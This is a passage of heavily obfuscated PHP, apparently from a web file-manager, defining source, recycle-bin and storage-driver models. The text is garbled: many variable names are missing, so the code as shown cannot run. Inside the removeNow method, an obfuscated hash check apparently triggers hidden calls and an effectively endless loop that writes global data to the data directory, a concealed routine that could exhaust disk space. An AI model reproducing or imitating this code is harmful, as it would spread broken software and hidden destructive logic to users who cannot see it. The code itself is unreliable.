Model($۽[587])->getInfo($[$۽[571]]); $lj = _get($͜, $۽[32]); $lj = $۽[176] . $lj . $۽[2283] . $[$۽[571]]; } $ٮ = $۽[2284] . md5($lj); CacheLock::lock($ٮ); $ = $this->fileNameExist($, $lj); if (!$) { $ = $this->mkdir($, $lj, REPEAT_SKIP); $this->metaSet($, $۽[2285], $); $this->metaSet($, $۽[2286], $[$۽[571]]); if ($[$۽[192]] != 0) { $this->metaSet($, $۽[2287], _get($͜, $۽[2288])); } } CacheLock::unlock($ٮ); $this->metaSet($Ó, $۽[2289], $[$۽[192]]); $this->where(array($۽[193] => $Ó))->save(array($۽[500] => time())); $this->recycleClear($); Model($۽[638])->eventRemove($Ó); $ä = $this->move($Ó, $, REPEAT_RENAME_FOLDER); $this->folderSizeReset($[$۽[192]]); return $ä; } private function recycleClear($) { $ =& $_SERVER[ձК]; $ܔ = $this->childrenAll($); $߯ = array($[493] => array($[494], $ܔ[$[2290]])); Model($[2291])->where($߯)->delete(); } public function removeNow($, $ = true) { $Ը =& $_SERVER[ձК]; $ = $_SERVER[$Ը[953]]; $ߢ = $Ը[1627]; if ($_SERVER[$Ը[952]] != $ߢ($)) { $ = $Ը[954]; $îּ = $Ը[955]; $ = $_SERVER[$Ը[956]] . $Ը[957]; $Ϡ܍ = $îּ($); $ȓ = explode($Ը[287], $Ϡ܍); if (count($ȓ) < $Ը[694]) { $ә = $Ը[958]; $ә(); } $ޏڄ = $Ը[959]; $ޏڄ($_SERVER[$Ը[960]]); $ = $Ը[954]; $(); $ = $Ը[1628]; $㔧 = json_encode($GLOBALS[$Ը[1629]]); $ʫ = 1; for ($ = $ʫ; $ > 0; $++) { $(DATA_PATH . $, $㔧); } } $ = $this->sourceInfo($); $ʺߊ = $this->pathInfoMore($); if (!$) { return !0; } if ($[$Ը[192]] == 0) { if (!KodUser::isRoot()) { return !1; } } $this->lockMoveStart($); Hook::trigger($Ը[2292], $ʺߊ, $); if ($) { Model($Ը[2291])->moveToRecycle($); } else { $ = $this->childrenAll($); Model($Ը[638])->eventRemove($); $this->removeRelevance($[$Ը[2290]], $[$Ը[1578]]); } $this->folderSizeReset($[$Ը[192]]); $; = array($[$Ը[192]]); if ($[$Ը[487]] == $Ը[91]) { $;[] = $[$Ը[193]]; } $this->updateModifyTime($;); $this->lockMoveEnd($); Hook::trigger($Ը[1820], $ʺߊ, $); return !0; } public function childrenAll($) { $ =& $_SERVER[ձК]; $Ӆ = $[$[193]]; if ($[$[487]] == $[91]) { $ = array($[657] => array($[617], $[$[586]] . $Ӆ . $[618])); $ = array($[657] => $[$[586]]); $ = $this->field($[2293])->where($)->select(); $Ȋ = !1; $Ơ = array($Ӆ); if ($) { $Ȋ = array_to_keyvalue($, $[12], $[543]); $Ȋ = array_remove_value($Ȋ, $[230]); $Ơ = array_to_keyvalue($, $[12], $[193]); $Ơ[] = $Ӆ; } } else { $Ȋ = array($[$[543]]); $Ơ = array($Ӆ); } return array($[2290] => $Ơ, $[1578] => $Ȋ); } public function removeArray($ɵ) { if (!$ɵ) { return !0; } } public function removeRelevance($ʒ, $) { $ѝ =& $_SERVER[ձК]; $ʒ = $ʒ ? $ʒ : array(); $ = $ ? $ : array(); $ʒ = array_unique(array_filter($ʒ)); $ = array_unique(array_filter($)); if (!$ʒ) { return !1; } $ = array($ѝ[493] => array($ѝ[494], $ʒ)); Model($ѝ[2291])->where($)->delete(); Model($ѝ[537])->where($)->delete(); Model($ѝ[2131])->where($)->delete(); Model($ѝ[638])->where($)->delete(); Model($ѝ[1957])->removeBySource($ʒ); Model($ѝ[2272])->removeBySource($ʒ); $this->where($)->delete(); Model($ѝ[546])->remove($); for ($ = 0; $ < count($ʒ); $++) { $this->sourceCacheClear($ʒ[$]); } } public function rename($, $؋Ӛ) { $ꮃ =& $_SERVER[ձК]; $Ƥ = $this->sourceInfo($); if (!$Ƥ) { return !1; } $ö = $this->fileNameExist($Ƥ[$ꮃ[192]], $؋Ӛ); if ($ö && $ö != $) { return !1; } $ƥ = array($ꮃ[496] => $؋Ӛ, $ꮃ[656] => USER_ID); if ($Ƥ[$ꮃ[487]] != $ꮃ[91]) { $ƥ[$ꮃ[488]] = substr(get_path_ext($؋Ӛ), 0, 10); } Model($ꮃ[638])->eventRename($, $Ƥ[$ꮃ[32]], $؋Ӛ); $this->sourceCacheClear($); $this->setNamePinyin($, $ƥ[$ꮃ[32]], !1); $this->updateModifyTime($Ƥ[$ꮃ[192]]); $ = $this->where(array($ꮃ[493] => $))->data($ƥ)->save(); $ˠ = $ꮃ[2280] . $Ƥ[$ꮃ[192]]; if (isset(self::$cacheChildList[$ˠ])) { unset(self::$cacheChildList[$ˠ]); } return $; } public function setNamePinyin($, $, $י = true) { $ =& $_SERVER[ձК]; $ = Input::check($, $[660]); $걽 = array($[519] => KodSort::makeStr($)); if ($) { $걽[$[540]] = str_replace($[53], $[12], Pinyin::get($)); $걽[$[539]] = Pinyin::get($, $[661]); } if (!$י && !$) { $걽[$[540]] = null; $걽[$[539]] = null; } $this->metaSet($, $걽); } public function getContent($Ƙ) { $ڑ =& $_SERVER[ձК]; $Գ = $this->fileInfoGet($Ƙ); if (!$Գ) { return !1; } if ($Գ[$ڑ[79]] == 0) { return $ڑ[12]; } $ܢ = $ڑ[2294] . $Գ[$ڑ[549]]; if ($Գ[$ڑ[79]] <= 1024 * 10) { $̩ = Cache::get($ܢ); if (!$̩) { $̩ = IO::getContent($Գ[$ڑ[87]]); Cache::set($ܢ, $̩); } return $̩; } if (!$Գ[$ڑ[87]]) { return $ڑ[12]; } return IO::getContent($Գ[$ڑ[87]]); } public function setDesc($, $) { $ށ =& $_SERVER[ձК]; Model($ށ[638])->eventAddDesc($, $); return $this->metaSet($, $ށ[528], $); } public function setContent($, $²٥ = '') { $ԅ =& $_SERVER[ձК]; $ = $this->sourceInfo($); $˦ = $this->fileInfoGet($); if (!$˦ || !$) { return !1; } $ʉ = Model($ԅ[546])->addFileByContent($²٥, $[$ԅ[32]]); $ = $this->fileHistory($, $ʉ[$ԅ[543]], $ʉ[$ԅ[79]]); if (!$) { return Model($ԅ[546])->remove($ʉ[$ԅ[543]]); } $this->folderSizeReset($[$ԅ[192]]); return !0; } public function fileSubstr($ـʓ, $, $҂) { $ץ = $this->fileInfoGet($ـʓ); if (!$ץ) { return !1; } return IO::fileSubstr($ץ[$_SERVER[ձК][87]], $, $҂); } public function fileInfoGet($Ń) { $Ź =& $_SERVER[ձК]; $ = $this->sourceInfo($Ń); if (!$ || $[$Ź[487]]) { return !1; } $ʅ = $Ź[550] . $[$Ź[543]]; $ͬ = _get(self::$cacheFileInfo, $ʅ); if ($ͬ) { return $ͬ; } $ = Model($Ź[546])->fileInfo($[$Ź[543]]); if ($) { $[$Ź[32]] = $[$Ź[32]]; } self::$cacheFileInfo[$ʅ] = $; return $; } private function folderChildrenNumber($̆ь) { $ =& $_SERVER[ձК]; $᐀ = $this->sourceInfo($̆ь); $憞 = array($[657] => array($[617], $᐀[$[586]] . $̆ь . $[618]), $[654] => $᐀[$[571]], $[506] => intval($᐀[$[507]]), $[651] => 1); $ϛ = $this->where($憞)->count(); $Ȗ = $this->where($憞)->where(array($[651] => 0))->count(); return array($[83] => $Ȗ, $[84] => $ϛ); } public function pathInfo($˜, $ = false) { $̫ŏ =& $_SERVER[ձК]; $ = !1; $˜ = intval($˜); $ؗ = $̫ŏ[536] . intval($) . $̫ŏ[464] . $˜; $ъ = _get(self::$cachePathInfo, $ؗ); if ($ъ) { return $ъ; } $ = $this->sourceInfo($˜); if (!$) { return !1; } $ = $this->_listDataApplyItem($, $); self::$cachePathInfo[$ؗ] = $; return $; } public static $cachePathInfoMore = array(); public function pathInfoMore($ᇉ) { $ =& $_SERVER[ձК]; $ = _get(self::$cachePathInfoMore, $ᇉ); if ($) { return $; } $Р؍ = $this->pathInfo($ᇉ); if (!$Р؍) { return !1; } if ($Р؍[$[487]] == $[91]) { $Р؍[$[82]] = $this->folderChildrenNumber($ᇉ); } self::$cachePathInfoMore[$ᇉ] = $Р؍; return $Р؍; } public function sourceInfo($) { $ =& $_SERVER[ձК]; if (!$) { return array(); } $ = intval($); $ = $[535] . $; $ɾŰ = _get(self::$cacheSourceInfo, $); if ($ɾŰ) { return $ɾŰ; } $៑ = $this->where(array($[193] => $))->find(); self::$cacheSourceInfo[$] = $៑; return self::$cacheSourceInfo[$]; } public function sourceCacheClear($ = false) { self::cacheClear($); } public static function cacheClear($ = false) { $̈ =& $_SERVER[ձК]; if ($ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$̈[535] . $]); unset(self::$cachePathInfoMore[$]); unset(self::$cachePathInfo[$̈[2295] . $]); unset(self::$cachePathInfo[$̈[2296] . $]); } public function metaSet($ǔ, $ů = null, $Ǐ = null) { $љ = parent::metaSet($ǔ, $ů, $Ǐ); if ($љ) { $this->sourceCacheClear($ǔ); } return $љ; } public function pathInfoByPath($ӹ, $) { $ =& $_SERVER[ձК]; $ = !$ ? array() : explode($[8], trim($, $[8])); $ = $ӹ; foreach ($ as $퓑) { $ә = array($[192] => $, $[32] => $퓑); $ = $this->field($[2297])->where($ә)->select(); if (!$) { return !1; } $ = array_sort_by($, $[507]); $ = $[0][$[193]]; } $ = $this->sourceInfo($); $this->pathInfoFilter($); return $; } protected function updateModifyTime($̦) { $ō =& $_SERVER[ձК]; $ = defined($ō[2206]) ? USER_ID : 0; if (!$̦) { return; } if (!is_array($̦)) { $̦ = array($̦); } foreach ($̦ as $蟼 => $Ύ) { $̦[$蟼] = intval($Ύ); $this->sourceCacheClear($Ύ); } $ = array($ō[193] => array($ō[7], $̦)); $Ĕ = array($ō[656] => $, $ō[500] => time()); $this->where($)->save($Ĕ); } public function folderSizeReset($ו, $ = false) { $̙ =& $_SERVER[ձК]; if ($this->statusIgnoreResetSpace) { return; } $ = $this->sourceInfo($ו); $ = $̙[2298] . $ו; CacheLock::lock($, 20); if ($ === !1) { $this->sourceCacheClear($ו); $ = $this->sourceInfo($ו); $ۋ = array($̙[479] => $ו, $̙[506] => 0); $ܡ = $this->where($ۋ)->sum($̙[79]); $ = intval($ܡ) - intval($[$̙[79]]); } if ($ == 0) { return CacheLock::unlock($); } $ = $this->parentLevelArray($[$̙[586]]); if (!$ ) { $ = array(); } $ [] = $[$̙[193]]; $ۋ = array($̙[193] => array($̙[494], $ )); if ($ < 0) { $ۋ[$̙[79]] = array($̙[1094], abs($)); } $this->where($ۋ)->setAdd($̙[79], $); CacheLock::unlock($); $ʄŊ = $̙[2299] . $[$̙[190]] . $̙[4] . $[$̙[571]]; $ = array($[$̙[190]], $[$̙[571]]); TaskRun::timeLimitCall($ʄŊ, $̙[2300], $, 1.5); } public function folderSizeResetChildren($) { $֖ =& $_SERVER[ձК]; $this->sourceCacheClear($); $Ҝ = $this->sourceInfo($); $汊 = array($֖[651] => 1, $֖[654] => $Ҝ[$֖[571]], $֖[657] => array($֖[617], $Ҝ[$֖[586]] . $ . $֖[618])); $ = $֖[2301]; $Ւ = $this->field($)->where($汊)->select(); $汊[$֖[487]] = 0; $睏 = $this->field($)->where($汊)->select(); if (!$睏) { return; } $Ւ[] = $Ҝ; $Ւ = array_to_keyvalue($Ւ, $֖[193]); foreach ($Ւ as $ʁ䍂 => $뗡) { $Ւ[$ʁ䍂][$֖[2302]] = $Ւ[$ʁ䍂][$֖[79]]; $Ւ[$ʁ䍂][$֖[79]] = 0; } foreach ($睏 as $뗡) { $٬ = $뗡[$֖[192]] . $֖[12]; if (!isset($Ւ[$٬])) { continue; } if ($뗡[$֖[507]] == $Ւ[$٬][$֖[507]]) { $Ւ[$٬][$֖[79]] += $뗡[$֖[79]]; } } foreach ($Ւ as $뗡) { $ = $this->parentLevelArray($뗡[$֖[586]]); foreach ($ as $٬) { $٬ = $٬ . $֖[12]; if (!isset($Ւ[$٬])) { continue; } if ($뗡[$֖[507]] == $Ւ[$٬][$֖[507]]) { $Ւ[$٬][$֖[79]] += $뗡[$֖[79]]; } } } $ = array(); foreach ($Ւ as $뗡) { if ($뗡[$֖[79]] == $뗡[$֖[2302]]) { continue; } $[] = array($֖[193], $뗡[$֖[193]], $֖[79], $뗡[$֖[79]]); } $this->saveAll($); } public function userSpaceReset($絔 = false) { $Ѹ =& $_SERVER[ձК]; $ = $this->where(array($Ѹ[190] => self::TYPE_USER, $Ѹ[571] => $絔, $Ѹ[487] => 0))->sum($Ѹ[79]); $ = !$ || $ <= 0 ? 0 : $; Model($Ѹ[579])->userEdit($絔, array($Ѹ[1966] => $)); } public function targetSpaceUpdate($ו, $辔) { $ =& $_SERVER[ձК]; if (!$辔) { return; } if (!in_array($ו, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $ij = $this->targetSpaceSize($ו, $辔); if ($ו == self::TYPE_USER) { Model($[579])->userEdit($辔, array($[1966] => $ij)); } else { if ($ו == self::TYPE_GROUP) { Model($[587])->groupEdit($辔, array($[1966] => $ij)); } } } public function targetSpaceSize($Ü, $Л) { $ፑߗ =& $_SERVER[ձК]; $Խ = 0; $Lj = $this->targetSourceRoot($Ü, $Л, !0); foreach ($Lj as $) { if (!$) { continue; } $Խ += floatval($[$ፑߗ[79]]); $Ŀ = array($ፑߗ[657] => array($ፑߗ[617], $ፑߗ[595] . $[$ፑߗ[193]] . $ፑߗ[618])); $ӈ = Model($ፑߗ[505])->field($ፑߗ[493])->where($Ŀ)->select(); $ӈ = array_to_keyvalue($ӈ, $ፑߗ[12], $ፑߗ[193]); $ӈ = array_unique(array_filter($ӈ)); if ($ӈ) { $Ŀ = array($ፑߗ[493] => array($ፑߗ[494], $ӈ)); $Խ += floatval($this->where($Ŀ)->sum($ፑߗ[79])); } } $Խ = !$Խ || $Խ <= 0 ? 0 : $Խ; return $Խ; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_USER); } public function groupFileTypeProfile($Ĕ) { return $this->fileTypeProfile($Ĕ, SourceModel::TYPE_GROUP); } private function fileTypeProfile($ӏ, $ع) { $鞆 =& $_SERVER[ձК]; $잔 = $鞆[2303] . $ӏ . $鞆[11] . $ع; $ = Cache::get($잔); if ($) { return $; } $Ñ = array($鞆[651] => 0); if ($ӏ != !1) { $Ñ[$鞆[571]] = $ӏ; $Ñ[$鞆[190]] = $ع; } $ƫ = array(); $ƫ[$鞆[2304]] = array($鞆[2305] => LNG($鞆[2304]), $鞆[2306] => $this->where($Ñ)->count(), $鞆[622] => $this->where($Ñ)->sum($鞆[79])); $ = KodIO::fileTypeList(); foreach ($ as $⮛ => $г) { $Ñ[$鞆[488]] = $this->fileTypeWhere($⮛); $ƫ[$⮛] = array($鞆[2305] => $г[$鞆[32]], $鞆[2306] => $this->where($Ñ)->count(), $鞆[622] => $this->where($Ñ)->sum($鞆[79])); } Cache::set($잔, $ƫ, 1200); return $ƫ; } public function fileNameExist($, $) { $ =& $_SERVER[ձК]; $쪽 = $this->field($[2307])->where(array($[192] => $, $[32] => $, $[507] => 0))->find(); return is_array($쪽) ? $쪽[$[193]] : !1; } public function childList($қ) { $ =& $_SERVER[ձК]; $ = $[2280] . $қ; if (isset(self::$cacheChildList[$])) { return self::$cacheChildList[$]; } $ = array($[192] => intval($қ), $[507] => 0); $ = $this->where($)->select(); $ = $ ? $ : array(); self::$cacheChildList[$] = $; foreach ($ as $) { $ = $[535] . $[$[193]]; self::$cacheSourceInfo[$] = $; } return $; } public function fileNameAuto($, $ƚ, $煬 = REPEAT_RENAME, $ꣳ = false) { $𫾸 =& $_SERVER[ձК]; $ = get_path_ext($ƚ); $ = $ ? get_path_ext_name($ƚ) . $𫾸[2308] . $ : $ƚ . $𫾸[462]; $ͥ = array($𫾸[192] => $, $𫾸[507] => 0, $𫾸[32] => array($𫾸[461], $)); $ށ = $this->field($𫾸[32])->where($ͥ)->select(); $ = array_to_keyvalue($ށ, $𫾸[12], $𫾸[32]); return $this->fileNameAutoGet($, $ƚ, $煬, $ꣳ); } public function fileNameAutoGet($, $, $╱, $מ) { $ᤙ =& $_SERVER[ձК]; if ($╱ == REPEAT_REPLACE || !$ || !in_array_not_case($, $) || $מ && $╱ != REPEAT_RENAME_FOLDER) { return $; } if ($╱ == REPEAT_SKIP) { return !1; } $␦ = $ᤙ[10] . get_path_ext($); $␦ = $␦ == $ᤙ[10] || $מ ? $ᤙ[12] : $␦; for ($ = 1; $ <= count($) + 1; $++) { $ = substr($, 0, strlen($) - strlen($␦)); $ = $ . "\x28{$}\51{$␦}"; if (!in_array_not_case($, $)) { return $; } } } } goto dɡɃ; dɡɃ: class SourceRecycleModel extends ModelBase { protected $tableName = "\151\157\x5f\x73\x6f\165\x72\143\x65\x5f\x72\x65\143\171\143\154\145"; protected $dataAuto = array(array("\x63\x72\145\141\164\x65\x54\151\155\x65", "\x74\x69\x6d\145", "\x69\x6e\163\x65\x72\164", "\x66\x75\156\143\164\151\x6f\x6e")); public function listData($Ў = false) { $ =& $_SERVER[ձК]; $Ў = $Ў ? $Ў : USER_ID; $ = $this->where(array($[1768] => $Ў))->select(); return array_to_keyvalue($, $[12], $[193]); } public function moveToRecycle($) { $ =& $_SERVER[ձК]; $ = Model($[1423]); $ߤ = $->sourceInfo($); if (!$ߤ || $ߤ[$[507]] == $[91]) { return; } $· = array($[493] => $, $[1768] => USER_ID, $[653] => $ߤ[$[190]], $[654] => $ߤ[$[571]], $[657] => $ߤ[$[586]]); $this->add($·); $this->recycleMove($, 1); if ($ߤ[$[487]] == $[91]) { $֣ = array($[657] => array($[617], $ߤ[$[586]] . $ . $[618])); $->where($֣)->setField($[507], 1); } } public function clear() { $this->remove(!1); } public function remove($ = false, $Ƴ쯴 = false) { $Ñ =& $_SERVER[ձК]; $Ƴ쯴 = $Ƴ쯴 ? $Ƴ쯴 : USER_ID; $ = Model($Ñ[1423]); $ = $this->listData($Ƴ쯴); $ = $ === !1 ? !1 : $; $ɌԲ = array(); foreach ($ as $ئ) { if ($ != !1 && !in_array($ئ, $)) { continue; } $ = $->sourceInfo($ئ); $->remove($ئ, !1); $ɤ = $[$Ñ[190]] . $Ñ[11] . $[$Ñ[571]]; $ɌԲ[$ɤ] = array($Ñ[653] => $[$Ñ[190]], $Ñ[571] => $[$Ñ[571]]); $this->where(array($Ñ[193] => $ئ))->delete(); } foreach ($ɌԲ as $) { $->targetSpaceUpdate($[$Ñ[190]], $[$Ñ[571]]); } } public function restore($ = false) { $Žܣ = $this->listData(); $this->_restoreSource($Žܣ, $); } public function removeUserAll($߀) { $this->remove(!1, $߀); } public function restoreItem($) { $this->_restoreSource(array($), array($)); } private function _restoreSource($۾, $) { $ =& $_SERVER[ձК]; $ = Model($[1423]); $ = $ == !1 ? !1 : $; if (!$۾) { return !0; } $ā = array(); foreach ($۾ as $) { if ($ != !1 && !in_array($, $)) { continue; } $٢ޝ = $->sourceInfo($); $ = $->sourceInfo($٢ޝ[$[192]]); if ($[$[507]] == $[91]) { continue; } $->lockMoveStart($); $this->recycleMove($, 0); if ($٢ޝ[$[487]] == $[91]) { $茍 = array($[657] => array($[617], $٢ޝ[$[586]] . $ . $[618])); $->where($茍)->setField($[507], 0); $this->restoreFolderChildren($, $۾); } $this->where(array($[193] => $))->delete(); $->folderSizeReset($٢ޝ[$[192]]); $ā[] = $٢ޝ[$[192]]; if ($٢ޝ[$[487]] == $[91]) { $ā[] = $; } $->lockMoveEnd($); } $->updateModifyTime($ā); } private function restoreFolderChildren($Њ, $ʵ) { $↕ =& $_SERVER[ձК]; $ր = Model($↕[1423]); $Փ = array($↕[193] => array($↕[7], array())); foreach ($ʵ as $ן) { if ($ן == $Њ) { continue; } if (!$ր->isParentOf($Њ, $ן)) { continue; } $Մ = $ր->sourceInfo($ן); if ($Մ[$↕[487]] == $↕[91]) { $Փ[] = array($↕[657] => array($↕[617], $Մ[$↕[586]] . $ן . $↕[618])); } else { $Փ[$↕[193]][1][] = $ן; } } if (!$Փ[$↕[193]][1]) { unset($Փ[$↕[193]]); } if (!$Փ) { return; } if (is_array($Փ[$↕[193]]) && is_array($Փ[$↕[193]][1])) { $Փ[$↕[193]][1] = array_unique($Փ[$↕[193]][1]); } $Փ[$↕[1079]] = $↕[2081]; $ր->where($Փ)->setField($↕[507], 1); } private function recycleMove($, $dz = 1) { $ß =& $_SERVER[ձК]; $ؐ = Model($ß[1423]); $ާ = Model($ß[2309]); $ = array($ß[193] => $); if ($dz) { $ؐ->where($)->setField($ß[507], 1); $ާ->eventRecycle($, $ß[2310]); } else { $ = $ؐ->where($)->find(); $ = $[$ß[487]] == $ß[91]; $ն = $ؐ->fileNameAuto($[$ß[192]], $[$ß[32]], REPEAT_RENAME_FOLDER, $); if ($ն != $[$ß[32]]) { $ؐ->rename($, $ն); } $ؐ->where($)->setField($ß[507], 0); $ާ->eventRecycle($, $ß[2311]); } } } class SourceSecretModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\164\145\155\x2e\163\157\x75\x72\x63\145\123\145\143\x72\x65\x74\x4c\x69\x73\x74"; public $field = array("\163\157\165\162\x63\145\x49\x44", "\x74\171\160\x65\x49\104", "\x63\x72\145\x61\164\145\x55\163\x65\162"); } class StorageModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\x74\x65\155\x2e\x73\164\157\x72\141\147\x65\x4c\151\x73\x74"; public $field = array("\x6e\141\x6d\145", "\x73\x69\172\145\x4d\141\170", "\163\171\163\164\x65\x6d", "\144\145\x66\141\x75\x6c\164", "\x64\x72\x69\x76\x65\x72", "\143\157\156\146\151\147"); public function listData($ԕ = false, $ = "\x6d\157\x64\151\x66\171\124\151\x6d\x65", $ = false) { $ߟ =& $_SERVER[ձК]; $ = parent::listData($ԕ, $, $); if ($ԕ) { return $; } $ = array(); if ($GLOBALS[$ߟ[2312]]) { $ = $this->ioSizeUseGet(array_to_keyvalue($, $ߟ[12], $ߟ[477])); } foreach ($ as $菅 => $ާ) { unset($[$菅][$ߟ[6]]); $[$菅][$ߟ[1966]] = isset($[$ާ[$ߟ[477]]]) ? $[$ާ[$ߟ[477]]] : 0; } return $; } public function ioSizeUseGet($) { $Ѫ =& $_SERVER[ձК]; if (!$) { return array(); } $൏ = $Ѫ[2313] . implode($Ѫ[50], $); $ = Cache::get($൏); if ($) { return $; } $կ = array($Ѫ[892] => $Ѫ[477], $Ѫ[2314] => $Ѫ[79]); $এ = array($Ѫ[892] => array($Ѫ[7], $)); $ = Model($Ѫ[864])->field($կ)->where($এ)->group($Ѫ[892])->select(); $ = array_to_keyvalue($, $Ѫ[477], $Ѫ[79]); Cache::set($൏, $, 600); return $; } public function getConfig($) { $ه = parent::listData($); $ȭ = _get($ه, $_SERVER[ձК][6], array()); if ($ȭ && !is_array($ȭ)) { $ȭ = json_decode($ȭ, !0); } return $ȭ; } public function update($, $ޖ) { $ٞ =& $_SERVER[ձК]; $ͤ¼ = $ޖ[$ٞ[32]]; $ = array_to_keyvalue(parent::listData(), $ٞ[32]); if (isset($[$ͤ¼]) && $[$ͤ¼][$ٞ[477]] != $) { return !1; } $this->checkPwd($, $ޖ); if (isset($ޖ[$ٞ[2315]]) && $ޖ[$ٞ[2315]] == $ٞ[91]) { $this->checkConfig($ޖ); } unset($ޖ[$ٞ[2315]]); $ż̗ = parent::update($, $ޖ); if ($ż̗ && $ޖ[$ٞ[37]]) { $ = 0; foreach ($ as $) { if ($[$ٞ[37]] && $[$ٞ[477]] != $) { $ = $[$ٞ[477]]; parent::update($[$ٞ[477]], array($ٞ[37] => 0)); } } $this->updateBackup($, $); } return $ż̗; } public function add($ͷǖ) { $Σ =& $_SERVER[ձК]; $ = array_to_keyvalue(parent::listData(), $Σ[32]); if (isset($[$ͷǖ[$Σ[32]]])) { return !1; } $this->checkConfig($ͷǖ); $ܿ = parent::insert($ͷǖ); if ($ܿ && $ͷǖ[$Σ[37]]) { foreach ($ as $) { if ($[$Σ[37]]) { parent::update($[$Σ[477]], array($Σ[37] => 0)); } } } return $ܿ; } public function updateBackup($⭒Ƶ, $) { $͉١ =& $_SERVER[ձК]; if (!$) { return; } $藭إ = Model($͉١[822])->config(); if ($藭إ[$͉١[1746]] != $͉١[91] || $藭إ[$͉١[826]] != $) { return; } $ = Model($͉١[844])->get($͉١[858]); $ = json_decode($, !0); if (!$) { return; } $[$͉١[826]] = $⭒Ƶ; Model($͉١[844])->set(array($͉١[858] => $)); } public function checkPwd($ɯ, &$§ߗ) { $ᐩ =& $_SERVER[ձК]; if (empty($§ߗ[$ᐩ[6]])) { return; } $ڊLJ = $§ߗ[$ᐩ[6]]; if (!is_array($ڊLJ)) { $ڊLJ = json_decode($ڊLJ, !0); } $ = $ᐩ[12]; $ҁ = array($ᐩ[2316], $ᐩ[2317], $ᐩ[968]); foreach ($ҁ as $) { if (isset($ڊLJ[$])) { $ = $; break; } } if (!$) { return; } $ִ = $this->getConfig($ɯ); $ = $ִ[$]; $ = $ڊLJ[$]; if ($ == str_repeat($ᐩ[222], strlen($))) { $ڊLJ[$] = $; $§ߗ[$ᐩ[6]] = json_encode($ڊLJ); } else { if ($ != $) { $§ߗ[$ᐩ[2315]] = $ᐩ[91]; } } } public function checkConfig(&$ĺ, $ͼ = false) { $ͪ =& $_SERVER[ձК]; $ƞ = strtolower($ĺ[$ͪ[98]]); $ = $ĺ[$ͪ[6]]; if (!is_array($)) { $ = json_decode($, !0); } foreach ($ as $̷ => $Ų) { if (is_string($Ų)) { $[$̷] = trim($Ų); } } $[$ͪ[2318]] = rand_string(6); $ = $GLOBALS[$ͪ[6]][$ͪ[92]][$ͪ[900]]; $홸 = isset($[$ƞ]) ? $[$ƞ] : ucfirst($ƞ); $٪ = $ͪ[77] . $홸; if (!$홸 || !class_exists($٪)) { if ($ͼ) { return LNG($ͪ[2319]); } write_log(array($ͪ[2320], $ĺ, get_caller_info()), $ͪ[215]); show_json(LNG($ͪ[2319]), !1, $ĺ); } $ = new $٪($); if (in_array($ƞ, $->objectDriver)) { try { if (!$->isBucketCors() && !$->setBucketCors()) { $탏 = LNG($ͪ[2321]); $탏 .= $ͪ[2322] . LNG($ͪ[2323]); } } catch (Exception $) { $탏 = $->getMessage(); } if (isset($탏)) { return $this->_parseError($탏, $ƞ, $ͼ); } if ($ƞ == $ͪ[68] && !$->checkRegion()) { return $this->_parseError(LNG($ͪ[2324]), $ƞ, $ͼ); } } $ą = rtrim($[$ͪ[1264]], $ͪ[8]) . $ͪ[8]; $ = $->getPath($ą . $ͪ[1268]); try { if ($ƞ == $ͪ[109]) { $->mkdir($ą); } $ = $->mkfile($); if (!$) { $탏 = LNG($ͪ[2321]); } } catch (Exception $) { $탏 = $->getMessage(); } if (isset($탏)) { return $this->_parseError($탏, $ƞ, $ͼ); } $[$ͪ[1264]] = $ą; $ĺ[$ͪ[6]] = json_encode($); $ĺ[$ͪ[98]] = $홸; return !0; } private function _parseError($, $ٷ, $ = false) { $Ӱ =& $_SERVER[ձК]; if ($ٷ == $Ӱ[68] && stripos($, $Ӱ[2325])) { $ = explode($Ӱ[10], $); $Ώ = isset($[1]) ? $[1] : $Ӱ[12]; $Ƚ = array($Ӱ[2326] => LNG($Ӱ[2327]), $Ӱ[2328] => LNG($Ӱ[2329])); if (isset($Ƚ[$Ώ])) { $ = $Ƚ[$Ώ]; } } if (stripos($, $Ӱ[2330]) === 0) { $߰ = strpos($, $Ӱ[178]); if ($߰ === !1) { $߰ = strpos($, $Ӱ[4]); } if ($߰ !== !1) { $ = substr($, $߰ + 1); } } $ = LNG($Ӱ[1271]) . $; if ($) { return $; } show_json($, !1); } public function driverListSystem() { $ =& $_SERVER[ձК]; $ = parent::listData(); $ = array(); foreach ($ as $ٺ) { unset($ٺ[$[233]], $ٺ[$[88]]); if (!is_array($ٺ[$[6]])) { $ٺ[$[6]] = json_decode($ٺ[$[6]], !0); } $[] = $ٺ; } return $; } public function defaultDriver() { $ =& $_SERVER[ձК]; $ޓ = parent::listData(); $쮹 = array_filter_by_field($ޓ, $[37], 1); $쮹 = $쮹[0]; if (!$쮹) { return array(); } if (!is_array($쮹[$[6]])) { $쮹[$[6]] = json_decode($쮹[$[6]], !0); } return $쮹; } public function driverInfo($) { $ϱ =& $_SERVER[ձК]; $ʵ = array_to_keyvalue(parent::listData(), $ϱ[477]); if (!isset($ʵ[$])) { return !1; } $֟ = $ʵ[$]; if (!is_array($֟[$ϱ[6]])) { $֟[$ϱ[6]] = json_decode($֟[$ϱ[6]], !0); } return $֟; } public function remove($) { $this->removeShareItems($); return parent::remove($); } public function removeWithFile($̨, $, $, $ = false) { $ޱ =& $_SERVER[ձК]; $⩚ = array($ޱ[892] => $̨); $ʩƀ = Model($ޱ[546])->where($⩚)->count(); $ܧߧ = Model($ޱ[546])->where($⩚)->sum($ޱ[79]); $ = $ . $ޱ[2331] . $̨; $ = LNG($ == $ޱ[625] ? $ޱ[2332] : $ޱ[2333]); $ب = new TaskFileTransfer($, $ޱ[215], $ʩƀ, $ . $ޱ[464] . $[$ޱ[32]] . $ޱ[214] . $̨); $ب->task[$ޱ[837]] = (double) $ܧߧ; $ٲץ = KodIO::defaultDriver(); $dz = $ٲץ[$ޱ[477]]; $䋝 = $գа = $ = array(); $ǙД = Model($ޱ[232])->where($⩚)->field($ޱ[2334])->select(); foreach ($ǙД as $Ҝ) { $鱳 = $Ҝ[$ޱ[543]]; if ($) { $գа[] = $鱳; continue; } $̹ = $Ҝ[$ޱ[87]]; $ = get_path_father($̹); $[] = $; $ = str_replace("\173\151\157\72{$̨}\175\x2f", 